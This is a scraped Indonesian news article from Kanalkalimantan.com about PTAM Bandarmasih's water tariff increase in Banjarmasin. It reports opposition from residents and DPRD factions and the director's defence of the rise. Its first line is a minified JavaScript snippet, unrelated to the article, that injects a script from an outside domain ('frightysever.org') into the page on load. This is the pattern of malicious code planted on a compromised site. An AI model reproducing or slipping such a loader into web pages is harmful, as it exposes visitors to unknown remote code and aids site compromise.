(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kenaikan tarif harga air bersih yang diberlakukan PTAM Bandarmasih mendapat penolakan dari masyarakat hingga Anggota DPRD Kota Banjarmasin.
Menanggapi berbagai penolakan yang dilayangkan tersebut Direktur Utama (Dirut) PTAM Bandarmasih Ir Yudha Achmdy mengatakan penyesuaian tarif akan tetap dilakukan dengan berpedoman SK Wali Kota Nomor 99 Tahun 2022.
“Jadi kita tetap akan menjalankan penyesuaian tarif ini sesuai dengan peraturan Wali Kota Banjarmasin Nomor 99 Tahun 2022,” katanya.
Baca juga:Â BPP Landasan Ulin Budidaya Cabe Penggunaan Bahan Organik
Dirinya juga mengungkapkan penyesuaian tarif tersebut adalah sebagai upaya untuk meningkatkan pelayanan yang memerlukan sumber daya.
“Jadi mau tidak mau kita harus melakukan penyesuaian tarif ini, agar dapat melakukan peningkatan sarana insfratruktur seperti peremajaan pipa dan pembangunan instalasi,” ungkap Yudha.
Pekerja saat memperbaiki saluran pipa PTAM Bandarmasih. Foto: dok.kanalkalimantan
Sebelumnya tiga fraksi di DPRD Kota Banjarmasin kompak menolak penyesuaian tarif yang diberlakukan PT Air Minum Bandarmasih yang ditetapkan per 1 September 2022.
Penolakan tersebut diungkapkan Fraksi Gerindra, PKS dan PAN dalam rapat paripurna penetapan perubahan anggaran APBD 2022 dan Rancangan Perda APBD 2023 pada Selasa, (23/9/2022) yang juga dihadiri Wali Kota Banjarmaisn Ibnu Sina.
Baca juga:Â Tersisa Pintu Jendela Bisa Diselamatkan dari Rumah Van Der Pijl
Sementara itu, Ketua DPRD Kota Banjarmasin Harry Wijaya pada sidang paripurna saat itu juga mengungkapkan bahwa saat ini masyarakat Banjarmasin masih dalam kondisi pasca pandemi Covid-19 dan masih dalam tahap pemulihan ekonomi.
Dirut PTAM Bandarmasih tetap konsisten menjalankan SK Wali Kota Banjarmasin tentang penyesuaian tarif tersebut. Dirinya juga mengatakan sebelumnya sudah berkoordinasi dengan Pemerintah kota Banjarmasin terkait penyesuaian tarif ini.
Dirut juga mengungkapkan seadanya kondisi PAM Bandarmasih masih mampu berinvestasi pihaknya tidak akan menaikan tarif air bersih tersebut.
“Namun karena pelanggan menuntut pelayanan yang baik, sehingga kami pun harus melakukan penyesuaian tarif,” tutup Yudha. (Kanalkalimantan.com/rizki)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.